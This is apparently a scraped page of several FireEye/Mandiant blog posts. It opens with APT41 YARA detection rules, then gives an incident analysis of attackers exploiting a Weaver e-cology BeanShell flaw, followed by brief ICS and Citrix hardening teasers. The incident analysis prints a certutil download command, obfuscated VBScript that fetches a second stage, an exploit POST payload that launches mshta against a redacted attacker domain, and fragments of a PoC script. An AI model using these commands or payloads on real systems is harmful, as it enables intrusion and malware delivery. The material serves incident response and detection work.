Exploitation for Privilege Escalation (T1068)


Defense Evasion

BITS Jobs (T1197), Process Injection (T1055)



Command And Control

Remote File Copy (T1105), Commonly Used Port (T1436), Uncommonly Used Port (T1065), Custom Command and Control Protocol (T1094), Data Encoding (T1132), Standard Application Layer Protocol (T1071)

Appendix A: Discovery Rules

The following Yara rules serve as examples of discovery rules for APT41 actor TTPs, turning the adversary methods or tradecraft into new haystacks for purposes of detection or hunting. For all tradecraft-based discovery rules, we recommend deliberate testing and tuning prior to implementation in any production system. Some of these rules are tailored to build concise haystacks that are easy to review for high-fidelity detections. Some of these rules are broad in aperture that build larger haystacks for further automation or processing in threat hunting systems.

import "pe"

rule ExportEngine_APT41_Loader_String



                        author = "@stvemillertime"

                        description "This looks for a common APT41 Export DLL name in BEACON shellcode loaders, such as loader_X86_svchost.dll"


                        $pcre = /loader_[\x00-\x7F]{1,}\x00/


                        uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and $pcre at pe.rva_to_offset(uint32(pe.rva_to_offset(pe.data_directories[pe.IMAGE_DIRECTORY_ENTRY_EXPORT].virtual_address) + 12))


rule ExportEngine_ShortName



        author = "@stvemillertime"

        description = "This looks for Win PEs where Export DLL name is a single character"


        $pcre = /[A-Za-z0-9]{1}\.(dll|exe|dat|bin|sys)/


        uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and $pcre at pe.rva_to_offset(uint32(pe.rva_to_offset(pe.data_directories[pe.IMAGE_DIRECTORY_ENTRY_EXPORT].virtual_address) + 12))


rule ExportEngine_xArch



        author = "@stvemillertime"

        description = "This looks for Win PEs where Export DLL name is a something like x32.dat"


             $pcre = /[\x00-\x7F]{1,}x(32|64|86)\.dat\x00/


             uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and $pcre at pe.rva_to_offset(uint32(pe.rva_to_offset(pe.data_directories[pe.IMAGE_DIRECTORY_ENTRY_EXPORT].virtual_address) + 12))


rule RareEquities_LibTomCrypt



        author = "@stvemillertime"

        description = "This looks for executables with strings from LibTomCrypt as seen by some APT41-esque actors - might catch everything BEACON as well. You may want to exclude Golang and UPX packed samples."


        $a1 = "LibTomMath"


        uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and $a1


rule RareEquities_KCP



        author = "@stvemillertime"

        description = "This is a wide catchall rule looking for executables with equities for a transport library called KCP, Matches on this rule may have built-in KCP transport ability."


        $a01 = "[RO] %ld bytes"

        $a02 = "recv sn=%lu"

        $a03 = "[RI] %d bytes"

        $a04 = "input ack: sn=%lu rtt=%ld rto=%ld"

        $a05 = "input psh: sn=%lu ts=%lu"

        $a06 = "input probe"

        $a07 = "input wins: %lu"

        $a08 = "rcv_nxt=%lu\\n"

        $a09 = "snd(buf=%d, queue=%d)\\n"

        $a10 = "rcv(buf=%d, queue=%d)\\n"

        $a11 = "rcvbuf"


        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and filesize < 5MB and 3 of ($a*)


rule ConventionEngine_Term_Users



                        author = "@stvemillertime"

                        description = "Searching for PE files with PDB path keywords, terms or anomalies."

                        sample_md5 = "09e4e6fa85b802c46bc121fcaecc5666"

                        ref_blog = ""


                        $pcre = /RSDS[\x00-\xFF]{20}[a-zA-Z]:\\[\x00-\xFF]{0,200}Users[\x00-\xFF]{0,200}\.pdb\x00/ nocase ascii


                        (uint16(0) == 0x5A4D) and uint32(uint32(0x3C)) == 0x00004550 and $pcre


rule ConventionEngine_Term_Desktop



                        author = "@stvemillertime"

                        description = "Searching for PE files with PDB path keywords, terms or anomalies."

                        sample_md5 = "71cdba3859ca8bd03c1e996a790c04f9"

                        ref_blog = ""


                        $pcre = /RSDS[\x00-\xFF]{20}[a-zA-Z]:\\[\x00-\xFF]{0,200}Desktop[\x00-\xFF]{0,200}\.pdb\x00/ nocase ascii


                        (uint16(0) == 0x5A4D) and uint32(uint32(0x3C)) == 0x00004550 and $pcre


rule ConventionEngine_Anomaly_MultiPDB_Double



                        author = "@stvemillertime"

                        description = "Searching for PE files with PDB path keywords, terms or anomalies."

                        sample_md5 = "013f3bde3f1022b6cf3f2e541d19353c"

                        ref_blog = ""


                        $pcre = /RSDS[\x00-\xFF]{20}[a-zA-Z]:\\[\x00-\xFF]{0,200}\.pdb\x00/


                        (uint16(0) == 0x5A4D) and uint32(uint32(0x3C)) == 0x00004550 and #pcre == 2


CertUtil Qualms: They Came to Drop FOMBs

This blog post covers an interesting intrusion attempt that Mandiant Managed Defense thwarted involving the rapid weaponization of a recently disclosed vulnerability combined with the creative use of WMI compiled “.bmf” files and CertUtil for obfuscated execution.

This intrusion attempt highlights a number of valuable lessons in security, chiefly: attackers work fast – faster than many security teams can react. Additionally, patching complex software environments while keeping the business operational makes it difficult to keep pace with attackers exploiting vulnerabilities, especially when these truths are coupled with rapid exploitation with innovative obfuscation methods utilizing the operating systems own feature set against it.

Everybody’s Working for the Recon

While monitoring our customers around the clock, FireEye Managed Defense identified suspicious file write activity on a system at a European manufacturing client and began our initial investigation by collecting the available volatile and non-volatile data from the affected host. Once evidence collection had completed, we began parsing the forensic data using the parsers available in FireEye's free Redline forensic analysis tool. Analysis of the logs quickly revealed that there were commands executed on the host which were consistent with interactive reconnaissance activity. Typically, once a host has successfully been compromised, attackers are presented with a command shell window which allows them to run commands on the host. These commands can consist of reconnaissance activity which expose useful information about the host to the attacker. The following is a snippet of the commands that we observed successfully executed on the host:  

ipconfig.exe ipconfig /all
whoami.exe whoami

The associated parent process that handled execution of the aforementioned listed processes was: "\Weaver\jdk_new\bin\javaw.exe". 


Once the attackers gained access to the web server by exploiting an unknown vulnerability, they attempted to further pivot control within the system through the use of Windows Management Instrumentation (WMI). They leveraged WMI's execution process, which takes Managed Object Format (MOF) files as input and compiles them into the WMI buffer, resulting in a compiled “.bmf” output file. The attackers wrote their second-stage payload and compiled it with WMI. Finally, they uploaded the compiled “.bmf” file to their web server and modified the file to masquerade as a ".rar" file .

Upon further assessment of the activity, we observed that after the threat actors gained access to the affected web server, they utilized a Windows native binary called “Certutil.exe” to download malicious code from a remote resource. Our investigation revealed that an instance of the process “Certutil.exe” was executed with the following command line arguments:   

certutil  -urlcache -split
-f http://[DOMAIN]/uploads/180307/l.rar c:\windows\temp\l.rar




Display or delete URL cache entries


Split embedded ASN.1 elements, and save to files



Force overwrite

(Source: Microsoft certutil page)

FireEye has observed this methodology executed numerous times by both ethical hackers and unauthorized threat actors in addition to Certutil’s benign use as a part of legitimate business applications and operations.

Shortly after the second-stage payload was downloaded, we observed several file write events related to `l.rar` (MD5: 4084eb4a41e3a01db2fe6f0b91064afa). Of particular note were: 

cmd.exe  cmd /c mofcomp.exe C:\Windows\temp\l.rar
cmd.exe cmd /c del C:\Windows\temp\l.rar

The aforementioned commands utilize Window's "cmd.exe" interpreter to run "mofcomp.exe" on the newly obtained "l.rar". This process is designed to parse a file containing MOF statements and add any class and class instances defined in the file to the WMI repository, and subsequently delete the aforementioned file.

The use of “mofcomp.exe” for attackers and defenders was first proposed at MIRcon 2014 by FireEye Mandiant incident responders Christopher Glyer and Devon Kerr in their “There’s Something about WMI” talk (Figure 1).

Figure 1: Proposed use of MOF files for red and blue teams

We obtained the file "l.rar" for further analysis and observed that the file header began with "FOMB". This file header when conveniently flipped is "BMOF", as in Binary Managed Object Format. With this information in hand we began searching for methods to reverse the compiled binary. Upon analyzing the file in FireEye's sandbox environment, we were able to obtain the following information from the BMOF file:

On Error Resume Next:execmydler():Function execmydler():Set
t(b,",",-1,1):For Each Od In M:Nd=Nd+Chr(Od-
2):Next:Set P=Nothing:If Len(Nd) > 10 Then:Execute(Nd):End If:End

In an attempt to masquerade activities, the attackers wrote an MOF script and compiled it into a BMOF file, then ran the malicious BMOF file on the victim machine via WMI. The aforementioned code attempts to download a second-stage payload from "hxxp[://[DOMAIN]/d/dl[.]asp" when executed. Since the WMI buffer is involved, this attack vector opens the door to gaining a persistent foothold in the victim environment.

During this research period we also found an open-sourced project titled "bmfdec" that also decompiled BMOF files. 

Uncovering the Exploit

The attackers were active on September 22, and as such the majority of the investigation was conducted around this timeframe. Analysis of FireEye Endpoint Security ring buffer events uncovered reconnaissance commands executed on the system including whoami, ipconfig and the downloading of additional binaries. However, further analysis of the system did not uncover an initial exploit within the same timeframe of these commands. Analysis of the HTTP logs also did not uncover the initial payload. Within the HTTP logs we identified suspicious HTTP POST requests including requests to ’/weaver/bsh.servlet.BshServlet/`, but this was a busy server and the payload was not included in the logging, only metadata.

Example HTTP log entry

'-` 2886000`` -` -` "[23/Sep/2019:10:10:10 +0800]"` "POST
/weaver/bsh.servlet.BshServlet/ HTTP/1.1"`  "-"'

FireEye Endpoint Security has the ability to collect a memory image and this was completed on the same day as the initial activity. As memory is volatile, the earlier it's collected in an investigation the more likely you are to uncover additional evidence. We used Volatility to analyze the memory image looking for any suspicious event log entries, process creation, registry entries, etc. While reviewing the memory image, we identified numerous instances of mshta.exe spawned under javaw.exe, the creation date for these processes was 2019-09-20, and we pivoted our investigative focus to that date.

.. httpd.exe            2388    604      3     84 2019-06-28 09:32:53 UTC+0000 
... java.exe            2420   2388      0 ------ 2019-06-28 09:32:53 UTC+0000 
.... javaw.exe          4804   2420     36    530 2019-06-28 09:33:19 UTC+0000 
..... javaw.exe         5976   4804    177   4925 2019-06-28 09:33:21 UTC+0000 
...... mshta.exe       17768   5976     12    320 2019-09-20 14:20:00 UTC+0000 
...... mshta.exe        9356   5976     12    306 2019-09-20 11:12:04 UTC+0000 
...... mshta.exe       22416   5976     12    310 2019-09-20 11:31:14 UTC+0000 
...... mshta.exe       23240   5976     13    318 2019-09-20 14:20:01 UTC+0000 
...... mshta.exe       15116   5976     12    311 2019-09-20 11:31:23 UTC+0000 

This matched our initial findings and gave us some further context. Unfortunately, the initially-acquired forensic evidence, including the endpoint triage package and the memory image, did not provide a conclusive filesystem narrative around that date. At this stage the client had pulled the system offline and began remediation steps, however we still didn't know exactly which exploit was leveraged to gain a foothold on this system. We knew the process path which indicated it was httpd.exe being leveraged to run malicious javaw.exe commands. This lined up with our HTTP log analysis, yet we didn't have the payload.

String it to Weaver

Anybody who's worked in incident response long enough knows that when parsing the data has failed to uncover the evidence you're looking for, the last thing you can try is sifting through the raw bytes and strings of a file. Volatility has a handy feature to map the string offset to the corresponding process and virtual address. Once this is complete grep searching for specific keywords and filtering through the strings identified a number of HTTP POST requests sitting in unallocated space, expanding our grep using it's context parameter uncovered interesting HTTP POST requests and their payload.

Example POST payload:

POST /weaver/bsh.servlet.BshServlet/ HTTP/1.1
Host: x.x.x.x:88
Connection: close
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:69.0) Gecko/20100101 Firefox/69.0
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 134
bsh.script=eval .("ex"+"ec(\"mshta hxxp:// www[DOMAIN]/index[.]hta\")");&bsh.servlet.output=raw23; languageidweaver=7; testBanCookie=test; JSESSIONID=xxxxxxxxxx; Systemlanguid=7
tBanCookie=test; Systemlanguid=7; loginidweaver=xxx
st; Systemlanguid=7; loginidweaver=xxx

We knew this was the exploit we were looking for. The payload was exactly what the attacker was executing and the URI confirmed the process path we had identified from the memory image. It was making a request to BshServlet. It was unclear if this vulnerability was known, as there was no CVE associated with the software. Open source research identified a number of Chinese blog sites discussing a newly identified RCE vulnerability with Weaver e-cology OA system. The vulnerability lies within the BeanShell component of the OA system. The attacker could send a specially crafted payload to ’\weaver/bsh.servlet.BshServlet` in order to launch arbitrary commands. The following POC script was discovered on one of the aforementioned Chinese blog sites.

MD5: 49b23c67c2a378fb8c76c348dd80ff61

import requests
import sys   

headers = { 
   'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25', 
   'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3', 
   'Accept-Language': 'zh-CN,zh;q=0.9', 
   'Content-Type': 'application/x-www-form-urlencoded'


def exploit(url,cmd): 

if __name__ == '__main__': 

The script contained some hardcoded HTTP header values including user-agent, accepted data types, accepted languages and content-type. The script builds an HTTP request and allows the user to specify the command they would like to run; it would then append the URL and command to the crafted exploit to execute. In our instance the attacker was leveraging this vulnerability to launch mshta.exe to download a second stage payload.

Using search engines for internet connected devices such as Shodan or Censys we can quickly identify systems running the Weaver e-cology platform. Using this technique, we identified 28 internet facing system that are potentially vulnerable.


This isn't a new story; Managed Defense responds to cases like this every week. The usage of FOMB was particularly interesting in this instance and it's the first case in Managed Defense we've seen this technique being leveraged in an attempt to bypass defenses. When leveraged correctly, compiled “.bmf” files can be effectively used to sneak into an environment undetected and gain a foothold via persistence in the WMI buffer.

There are many procedural and technical controls that could help prevent a system being compromised. Most larger enterprises are complex and identifying all publicly exposed software and services can be challenging. We’ve worked on many cases where system administrators didn’t believe their system was directly accessible from the internet only to later confirm it was. Prioritizing particular patches can be difficult and if you don’t think a RCE vulnerability is exposed then the Risk level might be incorrectly classified as low.

A combination of controls is typically the best approach. In Managed Defense we assume these controls are imperfect and attackers will find a way to bypass them. Deploying strong monitoring capabilities combined with a team of analysts hunting through lower fidelity signatures or “weak signals” can uncover otherwise unnoticed adversaries.

Learn more about Mandiant Managed Defense here. Catch an on-demand recap on this and the Top 5 Managed Defense attacks this year.

Weaver Build Timeline

  • 2019-09-20: Weaver Patch released
  • 2019-09-20: Exploit observed in Managed Defense
  • 2019-09-22: Exploit POC blogged
  • 2019-10-03: First public mention outside China


Overload: Critical Lessons from 15 Years of ICS Vulnerabilities

In the past several years, a flood of vulnerabilities has hit industrial control systems (ICS) – the technological backbone of electric grids, water supplies, and production lines. These vulnerabilities affect the reliable operation of sensors, programmable controllers, software and networking equipment used to automate and monitor the physical processes that keep our modern world running.

FireEye iSIGHT Intelligence has identified nearly 1,600 publicly disclosed ICS vulnerabilities since 2000. We go more in depth on these issues in our latest report, Overload: Critical Lessons from 15 Years of ICS Vulnerabilities, which highlights trends in total ICS vulnerability disclosures, patch availability, vulnerable device type and vulnerabilities exploited in the wild.

FireEye’s acquisition of iSIGHT provided tremendous visibility into the depth and breadth of vulnerabilities in the ICS landscape and how threat actors try to exploit them. To make matters worse, many of these vulnerabilities are left unpatched and some are simply unpatchable due to outdated technology, thus increasing the attack surface for potential adversaries. In fact, nation-state cyber threat actors have exploited five of these vulnerabilities in attacks since 2009.

Unfortunately, security personnel from manufacturing, energy, water and other industries are often unaware of their own control system assets, not to mention the vulnerabilities that affect them. As a result, organizations operating these systems are missing the warnings and leaving their industrial environments exposed to potential threats.

Click here to download the report and learn more.

Citrix XenApp and XenDesktop Hardening Guidance

A Joint Whitepaper from Mandiant and Citrix

Throughout the course of Mandiant’s Red Team and Incident Response engagements, we frequently identify a wide array of misconfigured technology solutions, including Citrix XenApp and XenDesktop.

We often see attackers leveraging stolen credentials from third parties, accessing Citrix solutions, breaking out of published applications, accessing the underlying operating systems, and moving laterally to further compromise the environment. Our experience shows that attackers are increasingly using Citrix solutions to remotely access victim environments post-compromise, instead of using traditional backdoors, remote access tools, or other types of malware. Using a legitimate means of remote access enables attackers to blend in with other users and fly under the radar of security monitoring tools.

Citrix provides extensive security hardening guidance and templates to their customers to mitigate the risk of these types of attacks. The guidance is contained in product-specific eDocs, Knowledge Base articles and detailed Common Criteria configurations. System administrators (a number of them wearing many hats and juggling multiple projects) may not have the time to review all of the hardening documentation available, so Mandiant and Citrix teamed up to provide guidance on the most significant risks posed to Citrix XenApp and XenDesktop implementations in a single white paper.

This white paper covers risks and official Citrix hardening guidance for the following topics:

  • Environment and Application Jailbreaking
  • Network Boundary Jumping
  • Authentication Weaknesses
  • Authorization Weaknesses
  • Inconsistent Defensive Measures
  • Non-configured or Misconfigured Logging and Alerting

The white paper is available here.